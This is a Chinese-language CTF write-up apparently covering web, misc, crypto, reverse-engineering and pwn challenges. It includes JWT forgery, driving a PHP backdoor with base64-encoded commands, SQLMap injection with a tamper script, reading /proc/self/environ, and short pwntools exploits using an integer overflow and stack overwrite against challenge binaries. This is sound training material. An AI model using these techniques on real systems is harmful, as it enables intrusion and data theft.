Web
PangBai 过家家(1)
Level 1

访问,到下一关。
Level 2
GET 传参,

直接浏览器构造参数。
Level 3
POST 传参,用 Postman

Level 4
保持 POST 请求方法,首先设置 User-Agent,

注意这里要写完整的 Client 标识,即带上版本号的 UA,不然无法识别。
根据提示修改 say 和 ask 的参数,

改为 PATCH 方法,将 Body 类型改为 form-data 上传一个压缩包,

Level 6
根据提示设置 X-Forwarded-For 请求头为 localhost,得到 JWT 密钥。
复制之前 Cookie 中的 token 值,发现 Payload 为关卡数。使用这个工具用得到的 JWT 密钥构造 Payload,发现设置 level=7 时不存在该关卡。遂尝试往前回溯,当 level=0 时得到一个存在的关卡。在浏览器中带上刚生成的 token 访问即可得到 Flag。
headach3
根据提示,Flag 在请求头中。
会赢吗
F12 得到 Flag 第一部分和下一个入口。

审计 JS 代码,发现存在 revealFlag(className) 函数可以得到 Flag 及下一关入口,

审计 JS代码,发现后端 Flag 接口地址已经暴露,用从页面中获取到的 csrf_token 做参数 POST 该地址即可。


下一关同样的方法,

将四段 Flag 拼起来,Base64 解码后得到 Flag。
智械危机
根据提示访问 /robots.txt,得到后门地址 /backd0or.php
访问并审计代码,应传入 cmd 和 key 两个 POST 参数,其中 cmd 为执行的命令 Base64 编码后的结果,key 为 cmd 反转后的 md5 值 Base64 后的结果。
使用 CyberChef 构造请求参数,


谢谢皮蛋
SQL 注入,参数 id 为 Base64 编码后的。
脚本小子:SQLMap 加入 --tamper base64encode.py 参数爆破。
Misc
WhereIsFlag
cat /proc/self/environ
Labyrinth
用 StegSolve 点几下得到某个通道内为一个二维码图片,扫码得到 Flag。
decompress
解压并对内容 md5 后得到 Flag。
pleasingMusic
根据题目提示,听音频反转后的摩斯电码。
兑换码
zsteg 显示图片后面还有一块内容,改图片长宽相等即可在图片底部得到 Flag。
Crypto
xor

Base
CyberChef 都能 AutoBake 的,

一眼秒了
factordb 里面可以查到 n 的分解,得到 p,q。然后套 RSA 标准解法即可。
StrangeKing
凯撒加密,第一个字符偏移 -5,第二个字符 -7,第三个 -9 ……以此类推。
Reverse
Base64
IDA 反编译得到一个编码表,

可知这个为更改过编码表的 Base64,

ezAndroidStudy
Flag1

Flag2
在 /resources.arsc/res/values/strings.xml 中可以找到。

Flag3

Flag4

Flag5

ez_debug

这一段为明文比对,即密文在此已被解密。
使用 x64dbg 在 if 后下断点即可看到解密后的 Flag。

begin
直接用 IDA 反编译根据指示即可得到 Flag。
Pwn
Real Login
用 IDA 反编译可得密码为 NewStar!!!,然后 cat /flag 即可。
Game
反编译后得知当累积输入大于 999 时即可得到 Shell,每次最大输入 9:
Exploit
from pwn import *
p = process("./pwn")
for i in range(1, 111):
p.sendline(b"9")
p.interactive() # cat /flag
overwrite

第 11 行的长度限制可以用整数溢出来绕过,当输入 -1 时 (int)length == -1,而 (unsigned int)length == 4294967295。

然后构造 Payload,应该填充从 v2 到 nptr 间的所有数据,在 IDA 中双击 nptr 变量可以查看栈结构,要填充的数据长度即为 0x80 - 0x50。


Exploit
from pwn import *
p = process("./pwn")
p.recvuntil(b"pls input the length you want to readin: ")
p.sendline(b"-1")
payload = b"a" * (0x80-0x50) + b'999999'
p.recvuntil(b"pls input want you want to say: ")
p.send(payload)
p.interactive()
gdb

反编译后知道 22 行会比较 key 原文和输入,在 gdb 下断点后得到第一个参数即 key 的原文。

Exploit
from pwn import *
p = process("./gdb")
payload = p64(0x4557455355431d5d)
p.sendline(payload)
p.interactive()
